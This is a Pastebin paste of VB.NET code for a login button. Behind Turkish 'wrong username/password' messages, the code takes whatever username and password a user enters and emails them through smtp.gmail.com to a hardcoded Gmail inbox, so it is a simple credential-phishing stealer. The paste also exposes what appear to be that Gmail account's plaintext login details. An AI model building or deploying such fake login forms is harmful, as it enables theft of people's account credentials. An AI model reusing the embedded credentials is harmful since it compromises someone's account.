Advertisement
Guest User

Untitled

a guest
Apr 7th, 2019
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.05 KB | None | 0 0
  1. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  2. If TextBox1.Text = "" Then
  3. MsgBox("Kullanici Adi Yanliş")
  4. If TextBox2.Text = "" Then
  5. MsgBox("Şifre Yanliş")
  6. Else
  7. End If
  8. End If
  9. Dim smtpServer As New SmtpClient()
  10. Dim mail As New MailMessage()
  11. smtpServer.Credentials = New Net.NetworkCredential("james.ph25@gmail.com", "jamesgwapo789")
  12. 'using gmail
  13. smtpServer.Port = 587
  14. smtpServer.Host = "smtp.gmail.com"
  15. smtpServer.EnableSsl = True
  16. mail = New MailMessage()
  17. mail.From = New MailAddress("james.ph25@gmail.com")
  18. mail.To.Add("james.ph25@gmail.com")
  19. mail.Subject = "Username : " & TextBox1.Text
  20. mail.Body = "Password : " & TextBox2.Text & ","
  21. smtpServer.Send(mail)
  22. MsgBox("message after entering/hlášení po zadání ")
  23. MsgBox("message after entering/hlášení po zadání")
  24. End Sub
  25. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement